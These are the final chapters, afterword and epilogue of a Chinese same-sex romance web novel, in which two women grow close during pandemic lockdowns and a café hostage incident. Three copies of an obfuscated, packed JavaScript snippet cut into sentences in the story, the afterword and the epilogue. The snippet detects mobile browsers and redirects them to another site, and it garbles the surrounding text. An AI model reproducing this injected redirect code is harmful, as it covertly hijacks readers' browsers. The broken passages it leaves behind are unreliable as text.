“温言,我知道错了!我知道我是你第一个喜欢过的人,我拒绝你之后,一直很后悔!这些年我也在弥补,你可不可以给我个机会!”孟先生说着要单膝跪地。 温医生从无奈扶额到环顾四周想跑,突然看到人群中一个方位,她忙跑了过去对着一个20多岁的女孩说“小玉!你怎么来接我了!我们快走吧!我跟他真的只是同学……”然后两人就快速离开了现场,孟先生将花丢在地下,开车离开了!人群也散去了。 “当众表白这种事,有点道德绑架啊!”叶警官直起身体,轻轻的说“得细水长流的做好准备才行!” 孙医生已经离开,她也要收拾一下准备出院了! “那你打算怎么准备吗?”我问着她,总觉得她和孙医生会有故事。 “我已经加了她的同事朋友,掌握了她排班,一旦有什么风吹草动,我一定赶过去!”她说着,眼神中闪烁着光芒! 大概又住了半个月,我也出院了!恢复差不多,我就回到学校,完成最后的实习。 在寝室居住的大半年,我终于渐渐接受自己就是倪飞,一个才22岁的女大学生! “老六,你活泼一点呗!你稳重的和我们不像一个图层啊!”老大看看照片,穿着学士服的我们站在校门前,她们腾空而起,我则端庄的站在那里! “我尽力吧!”毕竟梦里的我,已经快古稀了,想要越活越年轻也需要时间。 做了那么长的一个梦,醒来后,梦里的事开始很清晰,可是终于还是越来越模糊了。但真的没有痕迹了吗? 毕业之后,我尝试做过很多事,支教三年后回到家乡,做过律师助理、影视后期,还有基层工作者,见过了形形色色的人…… 被家里强迫过相亲,就像面试一样,偶尔会激起我的胜负欲,我们都在说着自己的优点,压过对方,然后就没有然后,估计也会有人在网上吐槽吧! 我可以礼貌的社交,说着你好再见!可是心真的没有波动! 周围的同事、朋友、同学有的成家,或者围着家人转,谈恋爱的人也分分合合着,我却好像没有什么感觉!我并不向往,也不会刻意逃避,但就是没有必须不可的感觉。 快三十岁时,我又换了一个工作,是在游戏公司做文案,天马行空也不错! 积累加上家里适当帮助,我也在这一年拥有了自己的一个小公寓。 地理位置方便,楼层不高不低。离派出所近,安全!最重要的事,因为做好了有一天可能会被当做孤寡老人慰问和照顾的准备,我挑选的楼栋,和物业、社区中心在一个院里。 做的工作能糊口就行!我已经步入了除了盼望退休,无欲无求的年岁。 这年年末,我们公司开始策划一个游戏,打算和另一家公司合作,我们主要承担故事线,对方负责动画设计和展现。 为了确定好权利义务,我们两家公司的法务经常一起开会,是两位很有气质的大美人,据说她们是师姐妹! “江律师!我们觉得保持40%的……”我们表达着自己的意愿。因为在律师事务所工作过,老板让我也从旁协助法务交流! “终于签好了,师姐,今晚去我那里吧~”我正在整理纪要,却听到江律师约着对面的辛律师! 赶快跑,不当电灯泡了。 本来接下来的一切应该很顺利的,结果年末突然感冒的人多了,听人讨论起最近南方又有很严重的流感还是肺炎了,反正传播速度挺快的。 上午还在和同事说着得注意点了下午就听说,国家开始组织防控了! 幸好我们单位的性质是可以线上解决大部分工作的,居家办公也没什么。 这天,原来一直交流工作的组长,将一个人的微信名片推给了我,她是负责一部分原画的设计的。 “你好,我是锦木游戏的小肖!以后和您对接《小红娘》的demo制作,请多关照啊!” 我发了一个ok的表情。 接下来的一年,我们有序的推进着工作,可是私下聊天却并不多!朋友圈三天可见,也无法了解彼此…… 待疫情缓解,我们的项目终于到了一个定型的阶段,见面似乎不可避免。 因为防控政策稍微放宽,外地过来只需要提供健康码就可以!为了不耽误时间,她在周末赶来。 这天,冰城下了下了入冬的第一场雪,我们约好在我家附近的一个咖啡厅见面。 咖啡厅里除了我之外还有两桌人,因为管控,商场里的人都也不算很多。旁边桌的女学生们在聊着最近明星的绯闻,另一桌的是一对情侣。 “今天交通管制了!我可能得晚半小时左右到”肖小姐发来了信息,确实下雪加上疫情放开没多久,路肯定不顺畅! 我回了:好的,路上小心,注意安全! 反正今天也没有什么安排,我打开字母站刷着视频,听着周围人的八卦讨论。 终于,在看完大概几个“看电影了没”的视频之后,刚又打开一个,旁边桌的女学生们也离开了,我顺势看了看时间,哇过去快四十分钟了!我是不是得问问她。算了,路不好走,催了该让她着急了!要不就看完这个再说吧! 脚步声传来,一个气息不匀的声音传来“倪小姐,不好意思,我到太晚了!我是锦木游戏的肖山……” “姗姗来迟的shan!?”我正看到精彩处,没有舍得抬头,便随口打趣着。 “珊瑚的珊!”一只手伸到我眼前,邀我握手。 我抬起头,看到一个年龄比我略小的漂亮女生,微卷的长发,尽力平复着因为赶路而有的焦急,疲倦没有掩盖住她眉眼间的笑意,她穿着一件黑色的长款羽绒服,戴着一条红色的围巾,特别醒目鲜亮的红…… 105、终·好 眼前这个叫肖珊,戴着鲜红色围巾的人,怎么有点熟悉的感觉! 不自觉的已经握完了手,我们很快进入工作状态。她和我点了一杯一样的抹茶拿铁,我们看着她带来的视频,我也拿出了一些文案稿和她沟通着想法! “她们是神仙,寿命和时间是无限的,但是对于人间真情是羡慕和欣赏……看到有情人终成眷属,她的眼神可能会更……”我解释着故事的感觉。 店里正放着歌,歌词刚好是: 对永远不敢多看 为瞬间着迷流连 深情一片游戏人间 “有点像这歌里的感觉”我示意她听,她听着然后摇出了歌词,点点头,记录着。 沟通的很顺利,我们完成了工作交流。正要聊点什么时,旁边桌的情侣突然争吵的更大声了,其实刚刚就有争执,现在男子直接掀了桌子,然后不知道在哪里找出一把管制刀具,指着女子,店员惊恐的叫了起来,男子吓得威胁她“关上门,一个也别想走”说着拉过女子,把刀架在她脖子上。 他看着店员将close挂上,然后让我们俩坐在那里别动,他继续骂着女子。其实店的窗是透明的,外面应该有人看见报了警。 不一会,就有警察赶到,男子越发激动,刮了女子的胳膊一刀,我建议男子消消气,又让店员烧了热水,然后我拿着热水壶过去,说喝点说吧! 肖珊则奔向角落里的灭火器,男子大喊别动,刀也离开了女子身体,我忙将开水倒在他手上,烫的他将刀丢下,肖珊打开灭火器喷他,我将刀踢远,店员趁机也打开了店门,警察冲进来将男子制服。 我们终于平安了。 “你们俩胆子够大的啊!”刚好路过的叶警官说着,“相信我们啊!我们也打算先谈谈再制服的!” “有惊无险不是挺好的嘛!”旁边的孙医生劝着。 “我和同事们说了,你们先去换身衣服再去所以做个记录吧!”叶警官说。 我点点头,不禁问着“你们又是相亲碰到了?” “我们在约会!”她说着笑了笑,揽过孙医生和我们挥手道别。 “我找个酒店吧!”肖珊说着掏出手机要搜索,刚刚身上沾了不少灭火器的粉末,我们打算清洗一下再去做笔录,而且叶警官也帮我们说好了。 “我家就在对面,你怕我是坏人吗?”我说着,打趣到“不会拐卖你的,两个小时不去所里,警察也会找我们!” 说服了她,我带着她回了我的小公寓。 因为想给邻居或者别人一个非独居的印象,我家很多生活用品都是两人份。 “浴巾可以直接用,是新换的”我对着卫生间里的她说。 突然微信弹出一个消息,我取过来一看,社区群里通知,因为刚刚发现单元里有密接,按照防控要求,单元将实行14天的封闭管理…… 我赶忙打电话给叶警官,说明情况,又和单位报备。 等到肖珊裹着浴巾出来时,我将小区通知给她看。我们去窗边向外看,单元门口真的拉上了带子! “先把头发吹干吧!”我提醒她,她的头发湿着的时候更卷了,估计有点羊毛卷的基因吧! 毕竟都经历过隔离,我们也没有那么惊讶,就是接下来要“同居”两周啊! 我们先是通过视频做好了笔录,然后收到了领导回复说,刚好可以好好沟通下工作,把序章和第一章完善下。 四五十平的空间里多了一个人,一时还真的不适应。 她在网上定了衣服,可以当天到,但是要等物业周三统一派送,所以我找出了一件没穿过的睡衣给她,反正也都在室内,穿着也方便。 吃的东西,我一般会屯一周左右的,好在群里可以定蔬菜、水果,后来发现,我们口味差不多,也都不怎么挑食! 晚上住嘛?除了沙发我家只有一个双人床,社畜毕竟都会有点肩周和背痛的毛病,又要挺两周,商量了一下还是一起睡床吧!反正都是女生。 最开始几天她还比较拘谨,会把掉的头发收起来,吃完饭的碗喝完水的杯子都会想着赶紧刷,总是想把她生活过的痕迹抹去。 “你是打算杀了我,怕留下证据吗?”我无奈的说,“碗筷可以放洗碗机一起刷的啊!” 渐渐的她习惯了也放松了,我们可以讨论工作推进剧情,我在表达文字感觉的时候会借助一些歌和故事性的描述,她也能很快get到。 居家办公也事半功倍! 白天有时我们需要一起开视频会,所以两家公司领导和同事也知道我们隔离在一起。 我们偶尔也会因为理念不同而争执,但是小空间还得面对,总算是也能找到折中的方案,在工作上她还挺包容的。我夸赞她,她就笑了笑说因为她虽然热爱工作,但是画画和策划不是她最喜欢的是。 “也对,最喜欢的事不应该和生计挂钩,不然可能会承受双重的考验和打击!”我赞成的说,“那你喜欢的事是什么?” “做菜吧!不是说治大国如烹小鲜嘛!”她笑着说“我觉得做菜可以控制火候和分量,也挺有意思的,做的过程比吃的过程快乐!” “那 我们今天做点啊?反正进度赶够了”对于我的提议她点点头。 “我看看冰箱里有什么?”我笑着跟她播报着我翻到的食材。 最终在共同努力下,主要是她的魔法操作之下,我们将鱼香肉丝、糖醋鱼、油菜烧豆腐、菠萝咕咾肉搬上了餐桌,动筷子之前,我问她能不能喝点酒,她用手指捏了一下“一点点吧!” 公司发的鸡尾酒因为我酒量一般、也没什么心情喝,就一直从十一放到了现在。这次刚好可以消灭掉了! “敬‘同居’生活!”她举杯说着,我也笑着和她碰杯。 酒过三巡,她也问起了我有没有喜欢的事! 我想了想,好像没有诶!我能把很多事情做到九十分,但就是没有那么大的热情,我似乎对什么事和人都不会痴迷。 “我觉得刚刚好就很舒服”我想着回答,我不想给任何人添加负担。 “也好吧!淡淡的!”她不置可否的说着,然后喝了一小口! 就这样日子一天天的过着,很多生活规矩也慢慢被适应,适应到隔离期要结束了,又面临要再适应。 “这些我先带走了,”我拒绝了她给我转的钱,睡衣和一些她用过的生活被她收拾好带走了! 她的公司总部在另一个城市,她得赶回去才行。屋里一下子少了一个人还真是有点空落落的! 幸好工作的忙碌,让我不得不赶快打起精神来。大概半个月后,我收到了她快递寄来的新睡衣和生活用品,样式倒是我能欣赏的来的。我笑了笑,将这些依次在家里放好,反正以前也是看起来像两个人生活的。 我们工作的往来继续着,后来项目进展到我需要去她们公司出差。结果又赶上疫情防控,她们公司就把大家先放回家,反正可以居家办公,总比封在单位写字楼里强吧! 酒店也不太容易订,她说着礼尚往来吧!将我领回了她的房子。 “我父母也不在这个城市,这是我二姨的房子!”也是个不大的小户型。 “你对象不回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14860480|159425||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来吗?这不方便吧!”我看着家里很多情侣款的东西问着。得到了和我一样的答案,独居安全的考虑!难怪在我家那么心照不宣的接受了! 同居的日子我俩除了工作,确实都没有和父母以外的人联系过。这个单身感还是很明显的!当然顺便也被彼此的父母视频见过了! 这次比较短暂,只住了五天!她家的床比我家的窄一点点。 居她家办公结束后,我在考虑要不要学她,打包那些用过的生活用品,最后还是如法炮制了。 回家后,我也开始在业余时间刷手机,挑选她可能喜欢的睡衣样式,她也这么做过吗?我不禁失神。 项目进入收尾阶段,她来我们城市更频繁了,既然算是老相识,我家离公司也近,就邀请她来我家休息!她也没有拒绝,那些生活用品又用上了! 有天我们一起展开晒过的被子,铺床的时候,当粉白色的被子从她头顶下落到床上,被子上阳光的味道,充盈鼻间的时候!我眼前的景象感觉像开了慢镜头一般!那一瞬间,我脑海里想着,如果能和她一辈子这样也挺好! 后来我们聊天的内容,不止于工作,还有一些趣事的分享。除了我们单位的项目,她也会在遇到瓶颈时,让我给她推荐歌曲或者故事! 我不知道怎么做能拉近距离,就发信息问了最可能有经验的人,叶警官!她和孙医生已经住在一起了!当我问怎么能和女孩更进一步时。 “继续多找找她啊,让她试着习惯你”她回答到,“我也追了她很久呢!” 找她,什么理由好呢?电视机刚好演着美食节目,我就想到爸妈旅游时会问我要不要特色食材,我忙联系了她们!她们能天南海北跑,又能有任务感的给家里的我邮东西。我的旅行爸妈,似乎找到了人生的新乐趣! 渐渐的,一些各地食材都邮到我家,我拍照给她说:我也不会做啊!有时间,有没有兴趣来我这里试着挑战点新菜式。 她有机会来我的城市就会来我家,把食材变成美食…… 我们吃完饭以后通常会一面喝点小酒一面聊聊天,渐渐聊到了对生活中最期待的事,还有最受不了的…… 这年,快到中秋了,爸妈给我邮来了螃蟹,我依旧约着她,八月十五当天下午,她提着黄酒来了! 大快朵颐之后,我们在阳台上听着歌赏着月,继续喝酒聊天,音箱里正放着老歌《亲密爱人》,她居然也会跟着唱,“……有你的日子分外的轻松……” “……只是想你太浓……” “……无时无刻,把你梦……”我也轻轻合着…… 突然烟花升空,照亮了夜空!我们忙拿出手机拍着! “今晚留下住吧!”接着,我们碰了一下杯,天上却又闪亮起来!我发现她好像对着我说了什么,待烟花结束,我问她刚刚说了什么吗? 她摇摇头,“以后有机会再说……” “不止今晚……我申请调来这边的分公司了!以后都不走了!” 我播放着录音,“刚刚还想拍一段烟花来着!结果录到了!” 肖珊的脸更红了,“我喝多了!”她尴尬的 挡住脸。 我却笑着贴近她,“现在后悔怕是来不及了!” 又一轮烟花升起,照亮了我们,在地上投映出,两个亲密的剪影…… 音箱里播放的歌刚好唱到: 朝朝暮暮盼花好月圆 兜兜转转求两厢情愿 把古往今来翻遍 一个梦做了千年 才发现不孤单不遗憾 —正文完— 106、后记 第一人称、视角真是很有局限性,不过也有一种观察者的感觉。(我也有点后悔用第一人称,而且很多人物心理活动都不得不舍弃!) 倪飞讲述了经历,但她并不算主角。真正的主角是三位女生。 三位主要女性角色:雪芊寻、瑚儿、完颜晴,可能分别代表对于爱的三种认知。 雪芊寻和谦月之间历经生死考验,终于守住了最初的心动。我们看她们就像我们看了很多影视剧和小说等作品一样,让你有渴望的部分。是你对爱向往的初印象。 瑚儿和倪飞之间,走过了她少女懵懂到暮年的情感变迁。在17、18岁之前,人是容易和同性产生依赖的,可能是因为喜欢一起玩耍,就会老公老婆的叫着,也曾经有那些瞬间,你们约定过永远,但是需要时间认清自己的心意和取向。不是像芊寻谦月那样戏剧化的故事,而是你怎么想,你可能会遇到相处舒服的人,你觉得同性也没有问题,而且刚好,她也可以接受同性别的你,先不谈别的阻碍和考验,她刚好性取向和你一样,已经是幸运了!不然你们可能都会怀念青春岁月,但她会怀念你的好,却并没有遗憾和后悔。只有你停留在依恋之中。 完颜晴呢?我觉得她是很倔强而顽强的一个角色,觉得人生既来之则努力之。在任何逆境里都想好好活着,把这一生过完过好!偶然间觉得被命运捉弄了,幻想着人生的另一种可能。对命运不公的抵抗随着身世揭露爆发,对倪飞是爱吗?也许更多的守住自己的属于人心的部分。 每个人都像一块拼图,缺的那一块周围的形状都是你成长的经历,原生家庭和成长经历让你渴望的部分,就像朱见深和万贵妃那种,外人不理解,可是就是没有她不行,她安抚了他幼年开始的不安感。倪飞和完颜晴之间有过往,也有一生的相扶相持,有不理解也有体谅,恩恩怨怨还是过了一辈子,最后舍不得埋怨也许就是日子吧!喜欢一个人看的是心理预期的上限,而能相伴一生是你能忍耐的最底线吧!好在回首过去,发现还是感谢有彼此。爱和陪伴,是看破不说破,是明明感觉该生气却舍不得,是弥留之际的哄骗。我只有你了,所以我不能没有你。 三个主要女性角色,带领着一个关于爱的认知的循环,一个很神奇的循环,你对爱,从向往——感受——“妥协”。 为什么说是循环呢!瑚儿和倪飞向往谦月芊寻那样的爱,完颜晴向往瑚儿和小飞的情感!到最后倪飞和完颜晴相伴的一生又何尝不是令人羡慕的呢? 当然,人生没有固定的模板,没有什么一定是对的。 角色似乎自己也有生命力,很多时候你是不忍心对她太残酷的,雪芊寻的忠贞不渝、瑚儿的坚毅、完颜晴没有那么疯狂。 (大家一定都很爱芊寻,所以我调整了前面一些章节内容,她虽然被吓到过,但是用药和毒保护了自己,所以那个视角觉得她可能遭遇了欺负,但是没有!因为谦月后来身体一直不好,所以也就没有发现,芊寻也没有说明。请大家放心吧!) 无双驸马,最开始叫这个名字,有的朋友以为是爽文吧!等待着主角展现神勇无双的气势,但是并没有哈!无双,是对人未能成双成对的婉叹!机缘巧合的相遇和分离,一生一世一双人多么难得啊!我总觉得我们应该努力做个更好的人,然后如果运气好再遇到一个好人,你们又恰好喜欢彼此,愿意努力陪伴着走下去,又有幸没有经过如同历史变迁、天灾人祸这种不可抗力的大波折,从柴米油盐到人生各个阶段的考验,都能挺过去,真是天大的福气了! 回忆一下命批和名字吧! 云笼婵娟月难明,世传精忠永赤诚。 谁料此生两登科,亡国安邦绊一生。 桃花片片迷人眼,徒留心中念重重。 了悟天下自有主,江山终为人力更。 红颜卸甲忘前尘,错把他乡做故乡。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14860481|159425||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 情缘乱世归一梦,笑乘西风恨匆匆。 “贪嗔痴恋,镜花水月!” “假作真时真亦假,假假真真!” “得非所愿,愿非所得!” 还有一些结合了蒙古和满语的名字,其实女真说的是阿尔泰语系,但是我找不到相关翻译,只好满蒙结合。 百林:恩情;乌里:弓弦 蒲柴:百合;纳穆:海洋 古沃贺:璞玉 和卓:风姿之人 没想到能写这么多年,从发文开始居然过去了快十六年,十六年是什么概念,是杨过都和小龙女重逢的时间啊!是风之画员里“五两”还在一起相守的岁月! 其实故事一直在脑子里,就是没有写完!最开始的一个念头,就是一个片段,重逢后,瑚儿被叫起名字时的心跳和遗憾,大概创作时间就是最开始的一年,还有就是2024年下半年这段时间,一口气把后半段写完了! 感觉自己最开始那些有比较不平静的叙述,很多事也有义愤填膺的感觉和调侃,但是后来这半段,就平和很多。其实当年也是年轻吧!穿越最后肯定不是回去就是终老!小飞和她在现代的故事有所减少!也是留下些遐想吧!毕竟现代社会真爱更加难求了!但是毕竟也是有人在保佑着 的姻缘,所以错不了! 我这辈子也算写完一本中长篇小说了,对于喜欢百合的自己,留了一个可以和大家共享和分享,沟通交流的宝贵经历! 如果有朋友从开始更新时就看了,今天也看完了,真的是感谢你的等待和喜欢! 这场千年梦,对于爱的感悟和幻想,讲完了! 为了能把整个故事讲完,很多细节都没有展开了!也可能我的眼界、经历有所不足,只能把故事讲到这个程度了!感谢见谅和包涵! 祝愿我亲爱朋友们,生活如意,所愿可得!大家都要好好爱自己哟! 107、弦外之音~尾音 “哎~这个慢吞吞的傻瓜,真是几次忍住揍她!”紫璇揉揉手,从织机旁站起来,看着写着倪飞和肖珊名字的红烛由红线连接着,她轻轻抚摸着红烛,“你……” “她不负你的哀愁,就要辜负你这般保佑喽!可喜的是,你终于开始编织情缘了!”娘娘走了过来,从天空中取下一卷五彩画轴,“你把朱玑劝下去再历一世,还是和倪飞,真的舍得!?” “她们已经错过了一生,这一世……”紫璇怅然的说着。 “哟,会为别人着想了!”娘娘赞许道。 “她总说在人一起久了会想逃离,我倒想看看她俩相处一生会如何?”紫璇略带不服气的说着。 “这倒是很像你的风格!”娘娘感慨道。 紫璇随手拨弄着织机“您重开我们那一卷故事,就是为了考验我吧!” “哈哈哈哈,你学会了织造情缘,我也可以多去人间瞧瞧!”娘娘笑着说“我想去看看人间一世情缘会不会像停不了的雨,让人、让神仙都躲不掉绵绵的思念!” “还是您来织吧!”紫璇拉着娘娘撒娇,“我还是负责牵线就好,毕竟朱玑不在,我得一个人干两个人的活啊!” “睁眼睛说瞎话!”娘娘轻轻点了下紫璇的头,“你这阵子除了偷看人间,牵了几条线啊?” “这不都怨您,不肯为她们多编点故事嘛!”紫璇撒娇到“没情愫的情缘人家不喜欢牵嘛!” “哎,以前不也这样!?”娘娘无奈的坐回到织机前“你再想那么多,我就除去你的记忆,让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14860482|159425||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你忘了她!” “快了快了,我本来也要忘记了啊!”紫璇继续安慰着“我只是还舍不得作为完颜晴的自己!心有牵念……” “舍不得的是做‘晴儿’吧!……你可别永远忘不了,还消极怠工哦!”娘娘提醒着。 “您不提,没准明天就忘了呢!”她看着天上那卷画轴轻轻的说着…… 但是,经过那一世的情缘,她对情有了不一样的感触,不忍心让人经历不好姻缘的苦! 所以,如果芸芸众生的你我她,坚信着世间仍有美好情感的存在,只是还未遇到。心甘情愿的等待真心相爱的好人出现,哪怕要等很久很久,也不想放弃! 那就是三生石旁的她,还没有放下吧…… —全文完—